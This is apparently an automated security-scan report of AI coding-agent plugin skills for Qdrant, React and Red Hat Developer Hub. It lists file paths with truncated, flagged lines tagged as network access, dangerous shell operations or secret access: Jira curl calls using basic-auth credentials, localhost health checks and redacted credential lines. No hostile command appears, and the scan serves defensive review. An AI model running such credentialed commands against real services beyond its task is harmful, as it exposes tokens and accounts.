- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md
- Network accessline 15
Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist - Network accessline 31
Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 33
1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc - Network accessline 34
2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s - Network accessline 35
3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 45
1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 46
2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range) - Network accessline 47
3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points) - Network accessline 58
- **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a - Network accessline 59
- **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md
- Network accessline 10
- Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/) - Network accessline 18
Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best - Network accessline 23
At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants - Network accessline 24
To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash. - Network accessline 29
If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md
- Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-qps/SKILL.md
- Network accessline 16
- Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 17
- Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 18
- Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 22
- Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/) - Network accessline 24
- Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs) - Network accessline 32
- Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment - Network accessline 34
- Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 44
- Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 45
- Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/) - Network accessline 46
- In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query) - Network accessline 47
- Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati
harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/SKILL.md
- Network accessline 39
Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api. - Network accessline 106
- [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)
harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/diagnosis/SKILL.md
- Network accessline 14
- Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search) - Network accessline 16
- Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https:// - Network accessline 18
- If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api) - Network accessline 26
- Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 27
- Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 28
- Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 29
- Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 30
- ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 32
Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum - Network accessline 38
Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)
harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/search-strategies/SKILL.md
- Network accessline 15
- Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search) - Network accessline 16
- Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom - Network accessline 17
- For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings) - Network accessline 18
- RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf) - Network accessline 19
- DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf) - Network accessline 26
- Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/) - Network accessline 27
- See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant - Network accessline 28
- ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres - Network accessline 40
- RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model - Network accessline 41
- Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th - Network accessline 42
- Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback) - Network accessline 43
- Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en - Network accessline 49
- Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr) - Network accessline 57
- Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api) - Network accessline 58
- Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy) - Network accessline 59
- Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api) - Network accessline 64
Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)
harness/claude-code/plugins/qdrant-development/skills/qdrant-version-upgrade/SKILL.md
- Network accessline 36
A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen - Network accessline 51
3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo - Network accessline 52
4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6. - Network accessline 53
5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. - Network accessline 92
- [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor) - Network accessline 93
- [qcloud CLI](https://github.com/qdrant/qcloud-cli)
harness/claude-code/plugins/react18-upgrade/.claude-plugin/plugin.json
harness/claude-code/plugins/react18-upgrade/skills/react18-lifecycle-patterns/references/componentWillMount.md
- Network accessline 57
componentWillMount() { this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 58
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 59
fetch(`/api/users/${this.props.userId}`) - Network accessline 77
// All side effects move here - runs after first render this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 78
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 79
fetch(`/api/users/${this.props.userId}`) - Network accessline 136
componentWillMount() { this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B - Network accessline 137
this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B .then(items => this.setState({ items, loading: false })); - Network accessline 138
fetch('/api/items').then(r => r.json()) // Case B - Network accessline 151
componentDidMount() { fetch('/api/items').then(r => r.json()) // Case B → componentDidMount - Network accessline 152
fetch('/api/items').then(r => r.json()) // Case B → componentDidMount
harness/claude-code/plugins/react19-upgrade/.claude-plugin/plugin.json
harness/claude-code/plugins/react19-upgrade/skills/react19-concurrent-patterns/references/react19-suspense.md
- Network accessline 88
// Raw promise (not recommended in production): function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 89
function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); return <pre>{JSON.stringify(data, null, 2)}</pre>; - Network accessline 90
const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 111
// Only create promise once per id: const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), - Network accessline 112
const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), [id] - Network accessline 113
fetch(`/api/data/${id}`).then(r => r.json()),
harness/claude-code/plugins/red-hat-developer-hub/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/assign.md
- Network accessline 43
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \ - Network accessline 60
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 84
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 209
curl -s -X PUT \ - Network accessline 211
-H "Content-Type: application/json" \ -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234" - Network accessline 213
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/auth.md
- Network accessline 5
**Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution. - Network accessline 31
The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`. - Network accessline 45
CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net" - Network accessline 46
JIRA_BASE="https://redhat.atlassian.net" - Dangerous shell operationline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 65
The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/duplicates.md
- Network accessline 37
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/graphql-queries.md
- Network accessline 5
**Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below). - Network accessline 25
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 33
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 43
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 76
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 90
curl -s -u "$AUTH" -X POST \ - Network accessline 112
# Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \ - Network accessline 113
curl -s -u "$AUTH" -X POST \ - Network accessline 143
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 168
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/plan.md
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/refine.md
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/release.md
- Network accessline 31
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/rest-api-fallback.md
- Network accessline 26
curl -s -o jira-openapi.json \ - Network accessline 27
'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 61
# List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \ - Dangerous shell operationline 62
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/field' | python -c " - Network accessline 62
curl -s -u "$AUTH" \ - Network accessline 63
'https://redhat.atlassian.net/rest/api/3/field' | \ - Dangerous shell operationline 77
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | python -c " - Network accessline 77
curl -s -u "$AUTH" \ - Network accessline 78
'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \ - Network accessline 93
|--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla - Network accessline 94
| **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 95
| **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint | - Network accessline 104
curl -s -X PUT \ - Network accessline 106
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10028": 5}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 108
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 114
curl -s -X PUT \ - Network accessline 116
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10795": {"value": "M"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 118
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 126
curl -s -X PUT \ - Network accessline 128
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 130
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 138
curl -s -X PUT \ - Network accessline 140
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 142
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 163
curl -s -u "$AUTH" \ - Network accessline 164
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/sprint-report.md
- Network accessline 38
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-epic.md
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-issue.md
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/update-jira-status.md
- Network accessline 57
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/parse_issues.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/setup.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 211
else: print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 212
print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") return - Network accessline 213
print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 239
print(" Then: chmod 600 .jira-token") print(" REST API/GraphQL fallback will not work without it.") print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/") - Network accessline 241
print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/references/customization-system.md
- Access to secretsline 23
[Credential-related source omitted]
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/references/env-reference.md
- Network accessline 25
|----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Network accessline 26
| `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID | - Network accessline 27
| `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Access to secretsline 29
[Credential-related source omitted] - Network accessline 36
| Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 37
|----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user | - Network accessline 38
| `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 47
| Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 48
|----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token | - Network accessline 49
| `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 80
| Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Network accessline 81
|----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use | - Network accessline 82
| `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Network accessline 134
| `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Network accessline 135
| `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) | - Network accessline 136
| `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Access to secretsline 149
[Credential-related source omitted]
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/references/troubleshooting.md
- Network accessline 17
# 2. Test at http://localhost:7007 - Access to secretsline 31
[Credential-related source omitted] - Network accessline 102
# Manual checks curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 103
curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 104
curl http://localhost:7007 # Frontend
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/__init__.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/backup.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/cli.py
- Executable scriptline 1
Executable file - Network accessline 163
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 164
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 165
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 170
if rhdh_running: checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") - Network accessline 171
checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") else: - Network accessline 172
fmt.log_ok("RHDH: running on http://localhost:7007") - Access to secretsline 437
[Credential-related source omitted] - Access to secretsline 439
[Credential-related source omitted]
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/compose.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/health.py
- Executable scriptline 1
Executable file - Network accessline 62
port_open = False try: with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 63
try: with socket.create_connection(("localhost", 7007), timeout=2): port_open = True - Network accessline 64
with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 72
name="rhdh_port", status="pass", message="RHDH reachable on http://localhost:7007", - Network accessline 73
status="pass", message="RHDH reachable on http://localhost:7007", ) - Network accessline 74
message="RHDH reachable on http://localhost:7007", - Network accessline 111
if port_open: try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: - Network accessline 112
try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: body = resp.read().decode() - Network accessline 113
with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/settings.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/sync.py
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/NOTICE
- Executable scriptline 1
Executable file - Network accessline 6
Project: rhdh-lab Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 7
Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab License: Apache License 2.0 - Network accessline 8
Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 17
http://www.apache.org/licenses/LICENSE-2.0
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/fetch-plugin-metadata.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 4
Replaces the manual 3-step curl chain in the enable-plugin workflow. - Network accessline 23
_CONTENTS_URL = ( "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 24
"https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 25
"/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 27
_RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 296
req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"}) - Network accessline 297
with urllib.request.urlopen(req, timeout=30) as resp: - Network accessline 341
url = ( f"https://api.github.com/repos/redhat-developer/" - Network accessline 342
f"https://api.github.com/repos/redhat-developer/"
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/rhdh-local
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/enable-plugin.md
- Network accessline 157
- [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - Network accessline 158
- [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` - Network accessline 159
- [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria> - Network accessline 160
- [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/switch-mode.md
- Access to secretsline 74
[Credential-related source omitted] - Network accessline 92
# 2. Test at http://localhost:7007 - Network accessline 130
- [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login - Network accessline 131
- [ ] RHDH starts at `http://localhost:7007` with Guest login
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/test-plugin.md
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/references/rhdh-repos.md
- Network accessline 9
- **Upstream:** <https://github.com/redhat-developer/rhdh> - Network accessline 11
